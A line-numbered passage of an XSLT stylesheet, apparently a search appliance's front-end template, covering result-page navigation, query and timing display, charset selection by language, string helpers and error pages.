  2382.         <td valign="bottom" nowrap="1">
  2383.           <font size="-1">
  2384.             Result<xsl:call-template name="nbsp"
  2385.                   />Page:<xsl:call-template name="nbsp"/>
  2386.           </font>
  2387.         </td>
  2388.     </xsl:if>
  2389.         
  2390.   <!-- *** Show previous navigation, if available *** -->
  2391.     <xsl:choose>
  2392.           <xsl:when test="$prev">
  2393.             <td> 
  2394.           <span class="{$fontclass}">
  2395.               <a href="/search?{$search_url}&start={$view_begin -
  2396.                       $num_results - 1}">
  2397.             <xsl:if test="$navigation_style = 'google'">
  2398.                   <img src="/nav_previous.gif" width="68" height="26" 
  2399.                     alt="" border="0"/>
  2400.                   <br/>
  2401.              </xsl:if>
  2402.                 <xsl:if test="$navigation_style = 'top'">
  2403.                   <xsl:text><</xsl:text>
  2404.                 </xsl:if>
  2405.                 <xsl:text>Previous</xsl:text>
  2406.               </a>
  2407.               </span>
  2408.               <xsl:if test="$navigation_style != 'google'">
  2409.               <xsl:call-template name="nbsp"/>
  2410.               </xsl:if>
  2411.             </td>
  2412.           </xsl:when>
  2413.           <xsl:otherwise>
  2414.             <td>
  2415.               <xsl:if test="$navigation_style = 'google'">
  2416.                 <img src="/nav_first.gif" width="18" height="26" 
  2417.                   alt="" border="0"/>
  2418.                 <br/>
  2419.           </xsl:if>
  2420.             </td>
  2421.           </xsl:otherwise>
  2422.         </xsl:choose>
  2423.  
  2424.         <xsl:if test="($navigation_style = 'google') or 
  2425.                       ($navigation_style = 'link')">
  2426.   <!-- *** Google result set navigation *** -->
  2427.         <xsl:variable name="mod_end">
  2428.           <xsl:choose>
  2429.             <xsl:when test="$next"><xsl:value-of select="$guess"/></xsl:when>
  2430.             <xsl:otherwise><xsl:value-of select="$view_end"/></xsl:otherwise>
  2431.           </xsl:choose>
  2432.         </xsl:variable>
  2433.  
  2434.         <xsl:call-template name="result_nav">
  2435.           <xsl:with-param name="start" select="0"/>
  2436.           <xsl:with-param name="end" select="$mod_end"/>
  2437.           <xsl:with-param name="current_view" select="($view_begin)-1"/>
  2438.           <xsl:with-param name="navigation_style" select="$navigation_style"/>
  2439.         </xsl:call-template>
  2440.         </xsl:if>
  2441.  
  2442.   <!-- *** Show next navigation, if available *** -->
  2443.         <xsl:choose>
  2444.           <xsl:when test="$next">
  2445.             <td nowrap="1">
  2446.               <xsl:if test="$navigation_style != 'google'">
  2447.               <xsl:call-template name="nbsp"/>
  2448.               </xsl:if>
  2449.               <span class="{$fontclass}">
  2450.               <a href="/search?{$search_url}&start={$view_begin +
  2451.                 $num_results - 1}">
  2452.             <xsl:if test="$navigation_style = 'google'">
  2453.                   <img src="/nav_next.gif" width="100" height="26" 
  2454.                 alt="" border="0"/>
  2455.                   <br/>
  2456.             </xsl:if>
  2457.                 <xsl:text>Next</xsl:text>
  2458.                 <xsl:if test="$navigation_style = 'top'">
  2459.                   <xsl:text>></xsl:text>
  2460.                 </xsl:if>
  2461.               </a>
  2462.               </span>
  2463.             </td>
  2464.           </xsl:when>
  2465.           <xsl:otherwise>
  2466.             <td nowrap="1">
  2467.               <xsl:if test="$navigation_style != 'google'">
  2468.             <xsl:call-template name="nbsp"/>
  2469.               </xsl:if>
  2470.               <xsl:if test="$navigation_style = 'google'">
  2471.                 <img src="/nav_last.gif" width="46" height="26" 
  2472.               alt="" border="0"/>
  2473.                 <br/>
  2474.           </xsl:if>
  2475.             </td>
  2476.           </xsl:otherwise>
  2477.         </xsl:choose>
  2478.  
  2479.   <!-- *** End Google result bar *** -->
  2480.       </tr>
  2481.     </table>
  2482.     
  2483.     <xsl:if test="$navigation_style != 'top'">
  2484.       <xsl:text disable-output-escaping="yes"></div>
  2485.         </center></xsl:text>
  2486.     </xsl:if>
  2487.   </xsl:if>
  2488. </xsl:template>
  2489.  
  2490. <!-- **********************************************************************
  2491.  Helper templates for generating Google result navigation (do not customize)
  2492.    only shows 10 sets up or down from current view
  2493.      ********************************************************************** -->
  2494. <xsl:template name="result_nav">
  2495.   <xsl:param name="start" select="'0'"/>
  2496.   <xsl:param name="end"/>
  2497.   <xsl:param name="current_view"/>
  2498.   <xsl:param name="navigation_style"/>
  2499.  
  2500.   <!-- *** Choose how to show this result set *** -->
  2501.   <xsl:choose>
  2502.     <xsl:when test="($start)<(($current_view)-(10*($num_results)))">
  2503.     </xsl:when>
  2504.     <xsl:when test="(($current_view)>=($start)) and 
  2505.                     (($current_view)<(($start)+($num_results)))">
  2506.       <td>
  2507.         <xsl:if test="$navigation_style = 'google'">
  2508.           <img src="/nav_current.gif" width="16" height="26" alt=""/>
  2509.           <br/>
  2510.         </xsl:if>
  2511.         <xsl:if test="$navigation_style = 'link'">
  2512.       <xsl:call-template name="nbsp"/>
  2513.         </xsl:if>
  2514.     <span class="i"><xsl:value-of 
  2515.           select="(($start)div($num_results))+1"/></span>
  2516.         <xsl:if test="$navigation_style = 'link'">
  2517.       <xsl:call-template name="nbsp"/>
  2518.         </xsl:if>
  2519.       </td>
  2520.     </xsl:when>
  2521.     <xsl:otherwise>
  2522.       <td>
  2523.         <xsl:if test="$navigation_style = 'link'">
  2524.         <xsl:call-template name="nbsp"/>
  2525.         </xsl:if>
  2526.         <a href="/search?{$search_url}&start={$start}">
  2527.         <xsl:if test="$navigation_style = 'google'">
  2528.           <img src="/nav_page.gif" width="16" height="26" alt="" border="0"/>
  2529.           <br/>
  2530.         </xsl:if>
  2531.         <xsl:value-of select="(($start)div($num_results))+1"/>
  2532.         </a>
  2533.         <xsl:if test="$navigation_style = 'link'">
  2534.        <xsl:call-template name="nbsp"/>
  2535.         </xsl:if>
  2536.       </td>
  2537.     </xsl:otherwise>
  2538.   </xsl:choose>
  2539.   
  2540.   <!-- *** Recursively iterate through result sets to display *** -->
  2541.   <xsl:if test="((($start)+($num_results))<($end)) and 
  2542.                 ((($start)+($num_results))<(($current_view)+
  2543.                 (10*($num_results))))">
  2544.     <xsl:call-template name="result_nav">
  2545.       <xsl:with-param name="start" select="$start+$num_results"/>
  2546.       <xsl:with-param name="end" select="$end"/>
  2547.       <xsl:with-param name="current_view" select="$current_view"/>
  2548.       <xsl:with-param name="navigation_style" select="$navigation_style"/>
  2549.     </xsl:call-template>
  2550.   </xsl:if>
  2551.  
  2552. </xsl:template>
  2553.  
  2554.  
  2555. <!-- **********************************************************************
  2556.  Top separation bar (do not customize)
  2557.      ********************************************************************** -->
  2558. <xsl:template name="top_sep_bar">
  2559.   <xsl:param name="query"/>
  2560.   <xsl:param name="time"/>
  2561.  
  2562.     <table width="100%" cellpadding="2" cellspacing="0" border="0">
  2563.       <tr>
  2564.         <td class="t" nowrap="1">
  2565.        <xsl:if test="$show_search_info != '0'">
  2566.             <font size="-1">
  2567.               Searched for
  2568.               <b><font color="{$sep_bar_text_color}">
  2569.                 <xsl:value-of disable-output-escaping="yes" 
  2570.                 select="$html_escaped_query"/></font>
  2571.               </b>.
  2572.             </font> 
  2573.           </xsl:if>
  2574.           <font size="-6"><xsl:call-template name="nbsp"/></font>
  2575.         </td>
  2576.  
  2577.         <td class="t" align="right" nowrap="1">
  2578.       <xsl:if test="$show_search_info != '0'">
  2579.             <font size="-1">
  2580.             <xsl:if test="count(/GSP/RES/R)>0 ">
  2581.               Results 
  2582.               <b><xsl:value-of select="RES/@SN"/> - <xsl:value-of 
  2583.                    select="RES/@EN"/></b>
  2584.               <xsl:if test="$access = 'p'">
  2585.                 of about <b><xsl:value-of select="RES/M"/></b>
  2586.               </xsl:if>.
  2587.             </xsl:if>
  2588.               Search took 
  2589.               <b><xsl:value-of 
  2590.                    select="round($time * 100.0) div 100.0"/></b> seconds.
  2591.             </font>
  2592.           </xsl:if>
  2593.         </td>
  2594.       </tr>
  2595.     </table>
  2596.     <hr class="z"/>
  2597. </xsl:template>
  2598.  
  2599. <!-- **********************************************************************
  2600.  Utility function for constructing copyright text (do not customize)
  2601.      ********************************************************************** -->
  2602. <xsl:template name="copyright">
  2603.   <center>
  2604.     <br/><br/>
  2605.     <p>
  2606.     <font face="arial,sans-serif" size="-1" color="#2f2f2f">
  2607.       Powered by Google</font>
  2608.     </p>
  2609.   </center>
  2610. </xsl:template>
  2611.  
  2612.  
  2613. <!-- **********************************************************************
  2614.  Utility functions for generating html entities 
  2615.      ********************************************************************** -->
  2616. <xsl:template name="nbsp">
  2617.   <xsl:text disable-output-escaping="yes">&nbsp;</xsl:text>
  2618. </xsl:template>
  2619. <xsl:template name="nbsp3">
  2620.   <xsl:call-template name="nbsp"/>
  2621.   <xsl:call-template name="nbsp"/>
  2622.   <xsl:call-template name="nbsp"/>
  2623. </xsl:template>
  2624. <xsl:template name="nbsp4">
  2625.   <xsl:call-template name="nbsp3"/>
  2626.   <xsl:call-template name="nbsp"/>
  2627. </xsl:template>
  2628. <xsl:template name="quot">
  2629.   <xsl:text disable-output-escaping="yes">&quot;</xsl:text>
  2630. </xsl:template>
  2631. <xsl:template name="copy">
  2632.   <xsl:text disable-output-escaping="yes">&copy;</xsl:text>
  2633. </xsl:template>
  2634.  
  2635. <!-- **********************************************************************
  2636.  Utility functions for generating head elements so that the XSLT processor
  2637.  won't add a meta tag to the output, since it may specify the wrong
  2638.  encoding (utf8) in the meta tag. 
  2639.      ********************************************************************** -->
  2640. <xsl:template name="plainHeadStart">
  2641.   <xsl:text disable-output-escaping="yes"><head></xsl:text>
  2642.   <xsl:text>
  2643.   </xsl:text>
  2644. </xsl:template>
  2645. <xsl:template name="plainHeadEnd">
  2646.   <xsl:text disable-output-escaping="yes"></head></xsl:text>
  2647.   <xsl:text>
  2648.   </xsl:text>
  2649. </xsl:template>
  2650.  
  2651.  
  2652. <!-- **********************************************************************
  2653.  Utility functions for generating head elements with a meta tag to the output
  2654.  specifying the character set as requested 
  2655.      ********************************************************************** -->
  2656. <xsl:template name="langHeadStart">
  2657.   <xsl:text disable-output-escaping="yes"><head></xsl:text>
  2658.   <xsl:choose>
  2659.     <xsl:when test="PARAM[(@name='oe') and (@value='utf8')]">
  2660.       <meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
  2661.     </xsl:when>
  2662.     <xsl:when test="PARAM[(@name='oe') and (@value!='')]">
  2663.       <meta http-equiv="content-type" content="text/html; charset={PARAM[@name='oe']/@value}"/>
  2664.     </xsl:when>
  2665.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-CN')]">
  2666.       <meta http-equiv="content-type" content="text/html; charset=GB2312"/>
  2667.     </xsl:when>
  2668.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_zh-TW')]">
  2669.       <meta http-equiv="content-type" content="text/html; charset=Big5"/>
  2670.     </xsl:when>
  2671.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_cs')]">
  2672.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-2"/>
  2673.     </xsl:when>
  2674.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_da')]">
  2675.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2676.     </xsl:when>
  2677.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_nl')]">
  2678.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2679.     </xsl:when>
  2680.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_en')]">
  2681.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2682.     </xsl:when>
  2683.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_et')]">
  2684.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2685.     </xsl:when>
  2686.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_fi')]">
  2687.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2688.     </xsl:when>
  2689.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_fr')]">
  2690.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2691.     </xsl:when>
  2692.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_de')]">
  2693.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2694.     </xsl:when>
  2695.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_el')]">
  2696.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-7"/>
  2697.     </xsl:when>
  2698.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_iw')]">
  2699.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-8-I"/>
  2700.     </xsl:when>
  2701.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_hu')]">
  2702.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-2"/>
  2703.     </xsl:when>
  2704.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_is')]">
  2705.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2706.     </xsl:when>
  2707.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_it')]">
  2708.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2709.     </xsl:when>
  2710.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_ja')]">
  2711.       <meta http-equiv="content-type" content="text/html; charset=Shift_JIS"/>
  2712.     </xsl:when>
  2713.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_ko')]">
  2714.       <meta http-equiv="content-type" content="text/html; charset=EUC-KR"/>
  2715.     </xsl:when>
  2716.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_lv')]">
  2717.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2718.     </xsl:when>
  2719.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_lt')]">
  2720.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2721.     </xsl:when>
  2722.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_no')]">
  2723.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2724.     </xsl:when>
  2725.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_pl')]">
  2726.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-2"/>
  2727.     </xsl:when>
  2728.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_pt')]">
  2729.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2730.     </xsl:when>
  2731.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_ro')]">
  2732.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-2"/>
  2733.     </xsl:when>
  2734.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_ru')]">
  2735.       <meta http-equiv="content-type" content="text/html; charset=windows-1251"/>
  2736.     </xsl:when>
  2737.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_es')]">
  2738.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2739.     </xsl:when>
  2740.     <xsl:when test="PARAM[(@name='lr') and (@value='lang_sv')]">
  2741.       <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/>
  2742.     </xsl:when>
  2743.     <xsl:otherwise>
  2744.       <meta http-equiv="content-type" content="text/html; charset="/>
  2745.     </xsl:otherwise>
  2746.   </xsl:choose>
  2747.   <xsl:text>
  2748.   </xsl:text>
  2749. </xsl:template>
  2750.  
  2751. <xsl:template name="langHeadEnd">
  2752.   <xsl:text disable-output-escaping="yes"></head></xsl:text>
  2753.   <xsl:text>
  2754.   </xsl:text>
  2755. </xsl:template>
  2756.  
  2757.  
  2758. <!-- **********************************************************************
  2759.  Utility functions (do not customize)
  2760.      ********************************************************************** -->
  2761.  
  2762. <!-- *** Find the substring after the last occurence of a separator *** -->
  2763. <xsl:template name="last_substring_after">
  2764.  
  2765.   <xsl:param name="string"/>
  2766.   <xsl:param name="separator"/>
  2767.   <xsl:param name="fallback"/>
  2768.  
  2769.   <xsl:variable name="newString" 
  2770.     select="substring-after($string, $separator)"/>
  2771.  
  2772.   <xsl:choose>
  2773.     <xsl:when test="$newString!=''">
  2774.       <xsl:call-template name="last_substring_after">
  2775.         <xsl:with-param name="string" select="$newString"/>
  2776.         <xsl:with-param name="separator" select="$separator"/>
  2777.         <xsl:with-param name="fallback" select="$newString"/>
  2778.       </xsl:call-template>
  2779.     </xsl:when>
  2780.     <xsl:otherwise>
  2781.       <xsl:value-of select="$fallback"/>
  2782.     </xsl:otherwise>
  2783.   </xsl:choose>
  2784.  
  2785. </xsl:template>
  2786.  
  2787. <!-- *** Find and replace *** -->
  2788. <xsl:template name="replace_string">
  2789.   <xsl:param name="find"/>
  2790.   <xsl:param name="replace"/>
  2791.   <xsl:param name="string"/>
  2792.   <xsl:choose>
  2793.     <xsl:when test="contains($string, $find)">
  2794.       <xsl:value-of select="substring-before($string, $find)"/>
  2795.       <xsl:value-of select="$replace"/>
  2796.       <xsl:call-template name="replace_string">
  2797.         <xsl:with-param name="find" select="$find"/>
  2798.         <xsl:with-param name="replace" select="$replace"/>
  2799.         <xsl:with-param name="string" 
  2800.           select="substring-after($string, $find)"/>
  2801.       </xsl:call-template>    
  2802.     </xsl:when>
  2803.     <xsl:otherwise>
  2804.       <xsl:value-of select="$string"/>
  2805.     </xsl:otherwise>
  2806.   </xsl:choose>
  2807. </xsl:template>
  2808.  
  2809. <!-- **********************************************************************
  2810.  Display server error message
  2811.      ********************************************************************** -->
  2812. <xsl:template name="server_error">
  2813.   <html>
  2814.     <xsl:call-template name="plainHeadStart"/>
  2815.       <title><xsl:value-of select="error_page_title"/></title>   
  2816.     <xsl:call-template name="plainHeadEnd"/>
  2817.     <body>
  2818.       <xsl:copy-of select="descendant::*"/>
  2819.     </body>
  2820.   </html>
  2821. </xsl:template>
  2822.  
  2823. <!-- **********************************************************************
  2824.  Display other error message
  2825.      ********************************************************************** -->
  2826. <xsl:template name="error_page">
  2827.   <xsl:param name="errorMessage"/>
  2828.   <xsl:param name="errorDescription"/>
  2829.   <html>
  2830.     <xsl:call-template name="plainHeadStart"/>
  2831.       <title>
  2832.         <xsl:value-of select="$error_page_title"/>:
  2833.         <xsl:value-of select="$errorMessage"/>
  2834.       </title>   
  2835.     <xsl:call-template name="plainHeadEnd"/>
  2836.     <body>
  2837.       <xsl:value-of select="$error_page_title"/>: 
  2838.       <xsl:value-of select="$errorMessage"/><br/><br/>
  2839.       <xsl:value-of select="$errorDescription"/><br/><br/>
  2840.       <xsl:text>
  2841.  
  2842.  
  2843.       </xsl:text>
  2844.       <xsl:copy-of select="/"/>
  2845.     </body>
  2846.   </html>
  2847. </xsl:template>
  2848.  
  2849.  
  2850. <!-- **********************************************************************
  2851.  Swallow unmatched elements
  2852.      ********************************************************************** -->
  2853. <xsl:template match="@*|node()"/>
  2854. </xsl:stylesheet>
  2855.